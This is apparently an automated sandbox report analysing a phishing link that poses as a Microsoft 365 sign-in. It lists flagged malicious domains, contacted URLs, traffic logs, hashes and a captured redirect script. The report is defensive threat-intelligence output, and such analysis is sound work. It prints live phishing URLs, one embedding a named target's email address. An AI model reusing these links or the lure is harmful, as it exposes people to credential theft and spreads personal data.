Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://ajd.asfhkkiv.es/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/rsSQsIIfCrYEifeBNcpBzLABYrvLCJijmOyMuRzcmBuXcSEmmXGLFRryCjlOocd200	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/klV6lQ48daxO4gaFe7dyNP2ltRDkGB5DSOEa6yU891xlRLn2cD36xysfgXiQab222	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/wbbv240NdvXXNuWaT1NUj0Mmxf4u4UYhgTFyPg0IgY0GZuLvBx2r7Gtb	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/56q4wwVesouhXabpMxyfJFe8920	0%	Avira URL Cloud	safe
https://4728.xqwqkd.ru/kella$j85snp	0%	Avira URL Cloud	safe
https://microsoft365online.mdshohelrana.com/favicon.ico	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/rqWnEbQsk5HXxG4uGznnSrevhylKtlD5EOwQsRRQnultYgy	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/favicon.ico	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/ef5F4nPN4JGLKcFyaAd6WEvLyyC5klLXH9nxeiuDCTPMefHylXQuI78150	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/ijMCLuEmkilV2F4BWG1tonoGRgDklitbCSjKL83Act0E4BTC12210	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/bczgNdV0NFjE9kqzLyIGbwAsKCPqS2llaa2k8s2SsmaIa14C2YYDQQqRDx8TD2S4pS5wQsXNc8dkkl7FwOzmnEuFkATJrZ9T5ClRx1hbdRvXZq7nrlUBb6WBUf0DKnToGtXfyXRwiaDRc1TAC7CqaGPcd670	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/wxstNlutVta5Skl6BG6w5HcstI7h8eX2X0gd34122	0%	Avira URL Cloud	safe
https://qyka.qxwhvv.ru/gando@vj5t41	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/xuMW5DTCkJsZqbU7j3sP8rvq2sjsivJMcnAwSxyg	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/zc5YCzpCm9huvzAdXFwgKJONtCLvtB8n202gMbfq	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/kl9uKr77gZUwOw0J3Z7hyOplgPIHnVHZGF7vPJq5zPz7IeUU14RiG5EclAkJOHsxWT56qnZixWSnMhFAtW3czY3kfWM9WvWI3xTkXx55k720jmnH4GUz9xDE84xd7MfllZH9wx660	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/stTtK5m3BTn6LdTSu1iDOxWjveppIdxCKKfDqacwYYS9x67zNLnGsUT2ZQlZnmIFFntjmA1GshsSkxxaef260	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/kl1cicXqtXnrIBi3ilbN5onJIVTjLzgxuaXsJyzdMCAc2W0UhFjQ92fDoE56170	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/ypCZEKKotZ8zgSMewI7x0wOuz8tr6YIF9YmqDmifmbcq	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/abde7vEJONAp1Trss68gh24	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/yztYRSgbZwoFpIqsLsfaAAaMTEHOAUUa35gDNmnWsJOYdNceg3Q1Y76AWieMjJQI90180	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/op5JuHAKDvhlwnwM6BSjw6gSI6r1kod0GlqMmPDPz6bJCyX42uvmYnbAziH18lbuDBRk8snBmDWLpnhNXGef234	0%	Avira URL Cloud	safe
https://ajd.asfhkkiv.es/56visyUwAusPdk1whza3K5IoOVijSxJR2eT267110	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
4728.xqwqkd.ru	104.21.112.1	true	false	unknown
developers.cloudflare.com	104.16.2.189	true	false	high
github.com	140.82.121.4	true	false	high
qyka.qxwhvv.ru	188.114.96.3	true	false	unknown
microsoft365online.mdshohelrana.com	103.213.38.242	true	true	unknown
ajd.asfhkkiv.es	188.114.97.3	true	true	unknown
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.185.196	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.68	true	false	high
objects.githubusercontent.com	185.199.110.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ajd.asfhkkiv.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://4728.xqwqkd.ru/kella$j85snp	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://ajd.asfhkkiv.es/wbbv240NdvXXNuWaT1NUj0Mmxf4u4UYhgTFyPg0IgY0GZuLvBx2r7Gtb	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://ajd.asfhkkiv.es/klV6lQ48daxO4gaFe7dyNP2ltRDkGB5DSOEa6yU891xlRLn2cD36xysfgXiQab222	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://ajd.asfhkkiv.es/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/56q4wwVesouhXabpMxyfJFe8920	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://ajd.asfhkkiv.es/rqWnEbQsk5HXxG4uGznnSrevhylKtlD5EOwQsRRQnultYgy	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/rsSQsIIfCrYEifeBNcpBzLABYrvLCJijmOyMuRzcmBuXcSEmmXGLFRryCjlOocd200	false	Avira URL Cloud: safe	unknown
https://microsoft365online.mdshohelrana.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/bczgNdV0NFjE9kqzLyIGbwAsKCPqS2llaa2k8s2SsmaIa14C2YYDQQqRDx8TD2S4pS5wQsXNc8dkkl7FwOzmnEuFkATJrZ9T5ClRx1hbdRvXZq7nrlUBb6WBUf0DKnToGtXfyXRwiaDRc1TAC7CqaGPcd670	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/rIMOdeCtriNV/*mdiaz%40estrellagalicia.es	false		unknown
https://ajd.asfhkkiv.es/rIMOdeCtriNV/	true		unknown
https://ajd.asfhkkiv.es/ef5F4nPN4JGLKcFyaAd6WEvLyyC5klLXH9nxeiuDCTPMefHylXQuI78150	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/xuMW5DTCkJsZqbU7j3sP8rvq2sjsivJMcnAwSxyg	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://ajd.asfhkkiv.es/fwoojzqdfniscafbnmJOFZKIGRQB2ZTKLYM7LBOVD?ZFCXAOOVELNULNBGYRFLINNBJW	true		unknown
https://ajd.asfhkkiv.es/zc5YCzpCm9huvzAdXFwgKJONtCLvtB8n202gMbfq	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/ijMCLuEmkilV2F4BWG1tonoGRgDklitbCSjKL83Act0E4BTC12210	false	Avira URL Cloud: safe	unknown
https://qyka.qxwhvv.ru/gando@vj5t41	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://ajd.asfhkkiv.es/juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/wxstNlutVta5Skl6BG6w5HcstI7h8eX2X0gd34122	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/kl9uKr77gZUwOw0J3Z7hyOplgPIHnVHZGF7vPJq5zPz7IeUU14RiG5EclAkJOHsxWT56qnZixWSnMhFAtW3czY3kfWM9WvWI3xTkXx55k720jmnH4GUz9xDE84xd7MfllZH9wx660	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=dmuA%2FEMfycnR0ZZjbhcEUJ076S2igOSZRN3hMPyA2PIZvnb7PJCQNvC8akipaOoLcFV2prXClM2HixYOglxykn9IVyCHJskoOvE9uymoPKsFa%2B5Wz4RGpgiHS1QGmWBl1Voa	false		high
https://ajd.asfhkkiv.es/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/stTtK5m3BTn6LdTSu1iDOxWjveppIdxCKKfDqacwYYS9x67zNLnGsUT2ZQlZnmIFFntjmA1GshsSkxxaef260	false	Avira URL Cloud: safe	unknown
https://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	false		unknown
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://ajd.asfhkkiv.es/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/yztYRSgbZwoFpIqsLsfaAAaMTEHOAUUa35gDNmnWsJOYdNceg3Q1Y76AWieMjJQI90180	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/abde7vEJONAp1Trss68gh24	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/ypCZEKKotZ8zgSMewI7x0wOuz8tr6YIF9YmqDmifmbcq	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://ajd.asfhkkiv.es/56visyUwAusPdk1whza3K5IoOVijSxJR2eT267110	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/kl1cicXqtXnrIBi3ilbN5onJIVTjLzgxuaXsJyzdMCAc2W0UhFjQ92fDoE56170	false	Avira URL Cloud: safe	unknown
https://ajd.asfhkkiv.es/op5JuHAKDvhlwnwM6BSjw6gSI6r1kod0GlqMmPDPz6bJCyX42uvmYnbAziH18lbuDBRk8snBmDWLpnhNXGef234	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://aJd.asfhkkiv.es/rIMOdeCtriNV/	chromecache_103.3.dr	false	unknown
https://github.com/fent)	chromecache_99.3.dr	false	high
https://www.walmart.com	chromecache_93.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
103.213.38.242	microsoft365online.mdshohelrana.com	India	9829	BSNL-NIBNationalInternetBackboneIN	true
104.21.32.1	unknown	United States	13335	CLOUDFLARENETUS	false
13.33.187.14	unknown	United States	16509	AMAZON-02US	false
13.33.187.68	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
104.21.112.1	4728.xqwqkd.ru	United States	13335	CLOUDFLARENETUS	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	ajd.asfhkkiv.es	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	qyka.qxwhvv.ru	European Union	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
185.199.110.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1641757
Start date and time:	2025-03-18 13:32:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@23/92@38/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.206, 172.217.18.14, 142.250.185.67, 66.102.1.84, 142.250.185.174, 142.250.186.142, 142.250.184.238, 2.23.77.188, 199.232.214.172, 142.250.185.110, 142.250.185.238, 172.217.16.195, 216.58.206.46, 142.250.185.99, 216.58.212.170, 142.250.186.74, 142.250.185.202, 142.250.186.42, 142.250.186.170, 142.250.185.74, 142.250.186.138, 142.250.185.106, 142.250.181.234, 216.58.206.42, 216.58.212.138, 142.250.186.106, 142.250.185.170, 172.217.16.202, 142.250.185.138, 142.250.185.234, 23.60.203.209, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	59
Entropy (8bit):	4.556561168725782
Encrypted:	false
SSDEEP:	3:gn3oOSQKXrKBc7b:63MGBYb
MD5:	9A4E1C6148B1DE77D7BDEFF9716C7277
SHA1:	5C8770A71DD0559017520870BFB2B259BE5D33BC
SHA-256:	1533815173B8950D75AD0DD22F9AA7FD88CD0C66C8168169E0FF31AFB0868E0E
SHA-512:	82A79F4864DBAD1DFE69D67DD591A3972051D96EE15D5EDDC25B70BC45B08736B1ACAD095D65CE307B739550EBE37895CF88D14F85730CB1C15B777120507375
Malicious:	false
Reputation:	low
URL:	https://ajd.asfhkkiv.es/juezjacjvnltfhzldytxlcoelecdjczfepgnhxrtricyks6y07ixkcs2cj1at?VQNMRGPKXTZSPIJGXOF
Preview:	<script>window.location.replace('/rIMOdeCtriNV/');</script>

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2025 13:33:16.732929945 CET	53	58149	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:16.841264963 CET	53	56739	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:17.729290962 CET	53	60403	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:17.879690886 CET	53	49556	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:20.563005924 CET	62142	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:20.563334942 CET	55674	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:20.572138071 CET	53	55674	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:20.572294950 CET	53	62142	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:22.628953934 CET	56133	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:22.629112005 CET	64928	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:22.639681101 CET	63790	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:22.640191078 CET	55955	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:23.006961107 CET	53	64928	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:23.013676882 CET	53	56133	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:23.017606974 CET	53	63790	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:23.027497053 CET	53	55955	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:27.955610991 CET	54024	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:27.956015110 CET	49343	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:27.970134020 CET	53	49343	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:27.970513105 CET	53	54024	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:29.514673948 CET	49841	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:29.514830112 CET	60456	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:29.515270948 CET	54610	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:29.515616894 CET	53574	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:29.516138077 CET	64557	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:29.516280890 CET	61595	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:29.521591902 CET	53	49841	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:29.521774054 CET	53	60456	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:29.521789074 CET	53	54610	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:29.522722006 CET	53	64557	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:29.522876024 CET	53	53574	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:29.523375034 CET	53	61595	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:30.947973013 CET	49463	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:30.948273897 CET	53695	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:30.955873013 CET	53	53695	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:30.958928108 CET	53	49463	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:32.082952976 CET	51349	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:32.083101988 CET	49658	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:32.092847109 CET	53	51349	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:32.093048096 CET	53	49658	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:34.956947088 CET	53	55562	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:48.455595970 CET	50175	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:48.456116915 CET	56557	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:48.512516022 CET	53	56557	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:48.554919958 CET	53	50175	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:49.878298998 CET	49405	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:49.878597975 CET	50718	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:49.894258976 CET	53	49405	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:49.975325108 CET	53	50718	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:50.876254082 CET	54623	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:50.876441956 CET	55034	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:50.890549898 CET	53	54623	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:50.893189907 CET	53	55034	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:51.850397110 CET	53362	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:51.850677967 CET	49839	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:33:51.857227087 CET	53	53362	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:51.857494116 CET	53	49839	1.1.1.1	192.168.2.4
Mar 18, 2025 13:33:53.820828915 CET	53	57516	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:07.145262957 CET	57768	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:07.145421028 CET	58760	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:07.200129986 CET	53	58760	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:07.304219961 CET	53	57768	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:08.472798109 CET	59785	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:08.472954035 CET	55150	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:08.490567923 CET	53	59785	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:08.550796032 CET	53	55150	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:12.246254921 CET	56400	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:12.246406078 CET	64315	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:12.250607014 CET	61586	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:12.250983000 CET	61373	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:12.253015995 CET	53	64315	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:12.253175020 CET	53	56400	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:12.259136915 CET	53	61586	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:12.773859024 CET	53	61373	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:13.172842979 CET	58855	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:13.173163891 CET	58982	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:13.179423094 CET	53	58855	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:13.180977106 CET	53	58982	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:16.182039976 CET	53	51172	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:16.829999924 CET	53	51140	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:17.864901066 CET	56293	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:17.865252972 CET	51266	53	192.168.2.4	1.1.1.1
Mar 18, 2025 13:34:17.875761986 CET	53	51266	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:17.918311119 CET	53	56293	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:19.525629997 CET	53	54032	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:19.529907942 CET	53	65189	1.1.1.1	192.168.2.4
Mar 18, 2025 13:34:19.568922997 CET	138	138	192.168.2.4	192.168.2.255

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 18, 2025 13:33:49.975429058 CET	192.168.2.4	1.1.1.1	c2dc	(Port unreachable)	Destination Unreachable
Mar 18, 2025 13:34:08.550868034 CET	192.168.2.4	1.1.1.1	c278	(Port unreachable)	Destination Unreachable
Mar 18, 2025 13:34:12.773926020 CET	192.168.2.4	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 18, 2025 13:33:27.094242096 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 18, 2025 13:33:27.732901096 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 12:26:37 GMT Expires: Tue, 18 Mar 2025 13:16:37 GMT Age: 410 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 18, 2025 13:33:27.738816023 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 18, 2025 13:33:27.924068928 CET	222	IN	HTTP/1.1 304 Not Modified Date: Tue, 18 Mar 2025 12:26:54 GMT Expires: Tue, 18 Mar 2025 13:16:54 GMT Age: 393 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:24 UTC	734	OUT	GET /access/authorize/vFoOn1l/mdiaz@estrellagalicia.es HTTP/1.1 Host: microsoft365online.mdshohelrana.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:24 UTC	333	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 content-length: 560 date: Tue, 18 Mar 2025 12:33:25 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-03-18 12:33:24 UTC	560	IN	Data Raw: 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e Data Ascii: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Redirecting...</title> <script> setTimeout(function

Timestamp	Bytes transferred	Direction	Data
